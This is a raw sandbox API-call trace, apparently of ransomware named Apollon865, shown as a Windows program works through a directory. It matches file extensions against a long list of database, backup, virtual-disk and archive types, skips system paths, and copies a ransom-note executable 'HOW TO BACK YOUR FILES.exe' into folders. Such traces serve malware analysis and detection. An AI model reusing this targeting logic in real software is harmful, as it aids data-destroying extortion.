	[0051.205] lstrlenW (lpString="dtsx") returned 4
	[0051.205] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0051.205] lstrlenW (lpString="dxl") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0051.205] lstrlenW (lpString="eco") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0051.205] lstrlenW (lpString="ecx") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0051.205] lstrlenW (lpString="edb") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0051.205] lstrlenW (lpString="epim") returned 4
	[0051.205] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0051.205] lstrlenW (lpString="fcd") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0051.205] lstrlenW (lpString="fdb") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0051.205] lstrlenW (lpString="fic") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0051.205] lstrlenW (lpString="flexolibrary") returned 12
	[0051.205] lstrlenW (lpString="fm5") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0051.205] lstrlenW (lpString="fmp") returned 3
	[0051.205] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0051.206] lstrlenW (lpString="fmp12") returned 5
	[0051.206] lstrcmpiW (lpString1="e.png", lpString2="fmp12") returned -1
	[0051.206] lstrlenW (lpString="fmpsl") returned 5
	[0051.206] lstrcmpiW (lpString1="e.png", lpString2="fmpsl") returned -1
	[0051.206] lstrlenW (lpString="fol") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0051.206] lstrlenW (lpString="fp3") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0051.206] lstrlenW (lpString="fp4") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0051.206] lstrlenW (lpString="fp5") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0051.206] lstrlenW (lpString="fp7") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0051.206] lstrlenW (lpString="fpt") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0051.206] lstrlenW (lpString="frm") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0051.206] lstrlenW (lpString="gdb") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0051.206] lstrlenW (lpString="gdb") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0051.206] lstrlenW (lpString="grdb") returned 4
	[0051.206] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0051.206] lstrlenW (lpString="gwi") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0051.206] lstrlenW (lpString="hdb") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0051.206] lstrlenW (lpString="his") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0051.206] lstrlenW (lpString="ib") returned 2
	[0051.206] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0051.206] lstrlenW (lpString="idb") returned 3
	[0051.206] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0051.207] lstrlenW (lpString="ihx") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0051.207] lstrlenW (lpString="itdb") returned 4
	[0051.207] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0051.207] lstrlenW (lpString="itw") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0051.207] lstrlenW (lpString="jet") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0051.207] lstrlenW (lpString="jtx") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0051.207] lstrlenW (lpString="kdb") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0051.207] lstrlenW (lpString="kexi") returned 4
	[0051.207] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0051.207] lstrlenW (lpString="kexic") returned 5
	[0051.207] lstrcmpiW (lpString1="e.png", lpString2="kexic") returned -1
	[0051.207] lstrlenW (lpString="kexis") returned 5
	[0051.207] lstrcmpiW (lpString1="e.png", lpString2="kexis") returned -1
	[0051.207] lstrlenW (lpString="lgc") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0051.207] lstrlenW (lpString="lwx") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0051.207] lstrlenW (lpString="maf") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0051.207] lstrlenW (lpString="maq") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0051.207] lstrlenW (lpString="mar") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0051.207] lstrlenW (lpString="marshal") returned 7
	[0051.207] lstrcmpiW (lpString1="ice.png", lpString2="marshal") returned -1
	[0051.207] lstrlenW (lpString="mas") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0051.207] lstrlenW (lpString="mav") returned 3
	[0051.207] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0051.207] lstrlenW (lpString="maw") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0051.208] lstrlenW (lpString="mdbhtml") returned 7
	[0051.208] lstrcmpiW (lpString1="ice.png", lpString2="mdbhtml") returned -1
	[0051.208] lstrlenW (lpString="mdn") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0051.208] lstrlenW (lpString="mdt") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0051.208] lstrlenW (lpString="mfd") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0051.208] lstrlenW (lpString="mpd") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0051.208] lstrlenW (lpString="mrg") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0051.208] lstrlenW (lpString="mud") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0051.208] lstrlenW (lpString="mwb") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0051.208] lstrlenW (lpString="myd") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0051.208] lstrlenW (lpString="ndf") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0051.208] lstrlenW (lpString="nnt") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0051.208] lstrlenW (lpString="nrmlib") returned 6
	[0051.208] lstrcmpiW (lpString1="ce.png", lpString2="nrmlib") returned -1
	[0051.208] lstrlenW (lpString="ns2") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0051.208] lstrlenW (lpString="ns3") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0051.208] lstrlenW (lpString="ns4") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0051.208] lstrlenW (lpString="nsf") returned 3
	[0051.208] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0051.208] lstrlenW (lpString="nv") returned 2
	[0051.209] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0051.209] lstrlenW (lpString="nv2") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0051.209] lstrlenW (lpString="nwdb") returned 4
	[0051.209] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0051.209] lstrlenW (lpString="nyf") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0051.209] lstrlenW (lpString="odb") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0051.209] lstrlenW (lpString="odb") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0051.209] lstrlenW (lpString="oqy") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0051.209] lstrlenW (lpString="ora") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0051.209] lstrlenW (lpString="orx") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0051.209] lstrlenW (lpString="owc") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0051.209] lstrlenW (lpString="p96") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0051.209] lstrlenW (lpString="p97") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0051.209] lstrlenW (lpString="pan") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0051.209] lstrlenW (lpString="pdb") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0051.209] lstrlenW (lpString="pdm") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0051.209] lstrlenW (lpString="pnz") returned 3
	[0051.209] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0051.209] lstrlenW (lpString="qry") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0051.210] lstrlenW (lpString="qvd") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0051.210] lstrlenW (lpString="rbf") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0051.210] lstrlenW (lpString="rctd") returned 4
	[0051.210] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0051.210] lstrlenW (lpString="rod") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0051.210] lstrlenW (lpString="rodx") returned 4
	[0051.210] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0051.210] lstrlenW (lpString="rpd") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0051.210] lstrlenW (lpString="rsd") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0051.210] lstrlenW (lpString="sas7bdat") returned 8
	[0051.210] lstrcmpiW (lpString1="vice.png", lpString2="sas7bdat") returned 1
	[0051.210] lstrlenW (lpString="sbf") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0051.210] lstrlenW (lpString="scx") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0051.210] lstrlenW (lpString="sdb") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0051.210] lstrlenW (lpString="sdc") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0051.210] lstrlenW (lpString="sdf") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0051.210] lstrlenW (lpString="sis") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0051.210] lstrlenW (lpString="spq") returned 3
	[0051.210] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0051.210] lstrlenW (lpString="te") returned 2
	[0051.210] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0051.211] lstrlenW (lpString="teacher") returned 7
	[0051.211] lstrcmpiW (lpString1="ice.png", lpString2="teacher") returned -1
	[0051.211] lstrlenW (lpString="tmd") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0051.211] lstrlenW (lpString="tps") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0051.211] lstrlenW (lpString="trc") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0051.211] lstrlenW (lpString="trc") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0051.211] lstrlenW (lpString="trm") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0051.211] lstrlenW (lpString="udb") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0051.211] lstrlenW (lpString="udl") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0051.211] lstrlenW (lpString="usr") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0051.211] lstrlenW (lpString="v12") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0051.211] lstrlenW (lpString="vis") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0051.211] lstrlenW (lpString="vpd") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0051.211] lstrlenW (lpString="vvv") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0051.211] lstrlenW (lpString="wdb") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0051.211] lstrlenW (lpString="wmdb") returned 4
	[0051.211] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0051.211] lstrlenW (lpString="wrk") returned 3
	[0051.211] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0051.211] lstrlenW (lpString="xdb") returned 3
	[0051.212] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0051.212] lstrlenW (lpString="xld") returned 3
	[0051.212] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0051.212] lstrlenW (lpString="xmlff") returned 5
	[0051.212] lstrcmpiW (lpString1="e.png", lpString2="xmlff") returned -1
	[0051.212] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff25d90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.212] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.212] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2=".") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="..") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="windows") returned -1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="bootmgr") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="temp") returned -1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="pagefile.sys") returned -1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="boot") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="ids.txt") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="ntuser.dat") returned 1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="perflogs") returned -1
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2="MSBuild") returned 1
	[0051.212] lstrlenW (lpString="overlay.png") returned 11
	[0051.212] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 94
	[0051.212] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="overlay.png" | out: lpString1="overlay.png") returned="overlay.png"
	[0051.212] lstrlenW (lpString="overlay.png") returned 11
	[0051.212] lstrlenW (lpString="Apollon865") returned 10
	[0051.212] lstrcmpiW (lpString1="verlay.png", lpString2="Apollon865") returned 1
	[0051.212] lstrlenW (lpString=".dll") returned 4
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2=".dll") returned 1
	[0051.212] lstrlenW (lpString=".lnk") returned 4
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2=".lnk") returned 1
	[0051.212] lstrlenW (lpString=".ini") returned 4
	[0051.212] lstrcmpiW (lpString1="overlay.png", lpString2=".ini") returned 1
	[0051.213] lstrlenW (lpString=".sys") returned 4
	[0051.213] lstrcmpiW (lpString1="overlay.png", lpString2=".sys") returned 1
	[0051.213] lstrlenW (lpString="overlay.png") returned 11
	[0051.213] lstrlenW (lpString="bak") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0051.213] lstrlenW (lpString="ba_") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0051.213] lstrlenW (lpString="dbb") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0051.213] lstrlenW (lpString="vmdk") returned 4
	[0051.213] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0051.213] lstrlenW (lpString="rar") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0051.213] lstrlenW (lpString="zip") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0051.213] lstrlenW (lpString="tgz") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0051.213] lstrlenW (lpString="vbox") returned 4
	[0051.213] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0051.213] lstrlenW (lpString="vdi") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0051.213] lstrlenW (lpString="vhd") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0051.213] lstrlenW (lpString="vhdx") returned 4
	[0051.213] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0051.213] lstrlenW (lpString="avhd") returned 4
	[0051.213] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0051.213] lstrlenW (lpString="db") returned 2
	[0051.213] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0051.213] lstrlenW (lpString="db2") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0051.213] lstrlenW (lpString="db3") returned 3
	[0051.213] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0051.213] lstrlenW (lpString="dbf") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0051.214] lstrlenW (lpString="mdf") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0051.214] lstrlenW (lpString="mdb") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0051.214] lstrlenW (lpString="sql") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0051.214] lstrlenW (lpString="sqlite") returned 6
	[0051.214] lstrcmpiW (lpString1="ay.png", lpString2="sqlite") returned -1
	[0051.214] lstrlenW (lpString="sqlite3") returned 7
	[0051.214] lstrcmpiW (lpString1="lay.png", lpString2="sqlite3") returned -1
	[0051.214] lstrlenW (lpString="sqlitedb") returned 8
	[0051.214] lstrcmpiW (lpString1="rlay.png", lpString2="sqlitedb") returned -1
	[0051.214] lstrlenW (lpString="xml") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0051.214] lstrlenW (lpString="$er") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0051.214] lstrlenW (lpString="4dd") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0051.214] lstrlenW (lpString="4dl") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0051.214] lstrlenW (lpString="^^^") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0051.214] lstrlenW (lpString="abs") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0051.214] lstrlenW (lpString="abx") returned 3
	[0051.214] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0051.214] lstrlenW (lpString="accdb") returned 5
	[0051.214] lstrcmpiW (lpString1="y.png", lpString2="accdb") returned 1
	[0051.214] lstrlenW (lpString="accdc") returned 5
	[0051.214] lstrcmpiW (lpString1="y.png", lpString2="accdc") returned 1
	[0051.214] lstrlenW (lpString="accde") returned 5
	[0051.214] lstrcmpiW (lpString1="y.png", lpString2="accde") returned 1
	[0051.214] lstrlenW (lpString="accdr") returned 5
	[0051.215] lstrcmpiW (lpString1="y.png", lpString2="accdr") returned 1
	[0051.215] lstrlenW (lpString="accdt") returned 5
	[0051.215] lstrcmpiW (lpString1="y.png", lpString2="accdt") returned 1
	[0051.215] lstrlenW (lpString="accdw") returned 5
	[0051.215] lstrcmpiW (lpString1="y.png", lpString2="accdw") returned 1
	[0051.215] lstrlenW (lpString="accft") returned 5
	[0051.215] lstrcmpiW (lpString1="y.png", lpString2="accft") returned 1
	[0051.215] lstrlenW (lpString="adb") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.215] lstrlenW (lpString="adb") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.215] lstrlenW (lpString="ade") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0051.215] lstrlenW (lpString="adf") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0051.215] lstrlenW (lpString="adn") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0051.215] lstrlenW (lpString="adp") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0051.215] lstrlenW (lpString="alf") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0051.215] lstrlenW (lpString="ask") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0051.215] lstrlenW (lpString="btr") returned 3
	[0051.215] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0051.215] lstrlenW (lpString="cat") returned 3
	[0051.248] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0051.248] lstrlenW (lpString="cdb") returned 3
	[0051.248] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0051.248] lstrlenW (lpString="ckp") returned 3
	[0051.248] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0051.248] lstrlenW (lpString="cma") returned 3
	[0051.248] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0051.248] lstrlenW (lpString="cpd") returned 3
	[0051.248] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0051.248] lstrlenW (lpString="dacpac") returned 6
	[0051.248] lstrcmpiW (lpString1="ay.png", lpString2="dacpac") returned -1
	[0051.248] lstrlenW (lpString="dad") returned 3
	[0051.248] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0051.248] lstrlenW (lpString="dadiagrams") returned 10
	[0051.248] lstrcmpiW (lpString1="verlay.png", lpString2="dadiagrams") returned 1
	[0051.248] lstrlenW (lpString="daschema") returned 8
	[0051.248] lstrcmpiW (lpString1="rlay.png", lpString2="daschema") returned 1
	[0051.248] lstrlenW (lpString="db-journal") returned 10
	[0051.248] lstrcmpiW (lpString1="verlay.png", lpString2="db-journal") returned 1
	[0051.248] lstrlenW (lpString="db-shm") returned 6
	[0051.249] lstrcmpiW (lpString1="ay.png", lpString2="db-shm") returned -1
	[0051.249] lstrlenW (lpString="db-wal") returned 6
	[0051.249] lstrcmpiW (lpString1="ay.png", lpString2="db-wal") returned -1
	[0051.249] lstrlenW (lpString="dbc") returned 3
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0051.249] lstrlenW (lpString="dbs") returned 3
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0051.249] lstrlenW (lpString="dbt") returned 3
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0051.249] lstrlenW (lpString="dbv") returned 3
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0051.249] lstrlenW (lpString="dbx") returned 3
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0051.249] lstrlenW (lpString="dcb") returned 3
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0051.249] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0051.249] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0051.249] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="superbar.png" | out: lpString1="superbar.png") returned="superbar.png"
	[0051.249] lstrlenW (lpString="superbar.png") returned 12
	[0051.249] lstrlenW (lpString="Apollon865") returned 10
	[0051.249] lstrcmpiW (lpString1="perbar.png", lpString2="Apollon865") returned 1
	[0051.249] lstrlenW (lpString=".dll") returned 4
	[0051.249] lstrcmpiW (lpString1="superbar.png", lpString2=".dll") returned 1
	[0051.249] lstrlenW (lpString=".lnk") returned 4
	[0051.249] lstrcmpiW (lpString1="superbar.png", lpString2=".lnk") returned 1
	[0051.249] lstrlenW (lpString=".ini") returned 4
	[0051.250] lstrcmpiW (lpString1="superbar.png", lpString2=".ini") returned 1
	[0051.250] lstrlenW (lpString=".sys") returned 4
	[0051.250] lstrcmpiW (lpString1="superbar.png", lpString2=".sys") returned 1
	[0051.250] lstrlenW (lpString="superbar.png") returned 12
	[0051.250] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Crypto", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0051.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0051.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0051.250] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0051.250] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0051.250] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.250] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.250] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.251] GetLastError () returned 0x0
	[0051.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.251] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.251] CloseHandle (hObject=0x15c) returned 1
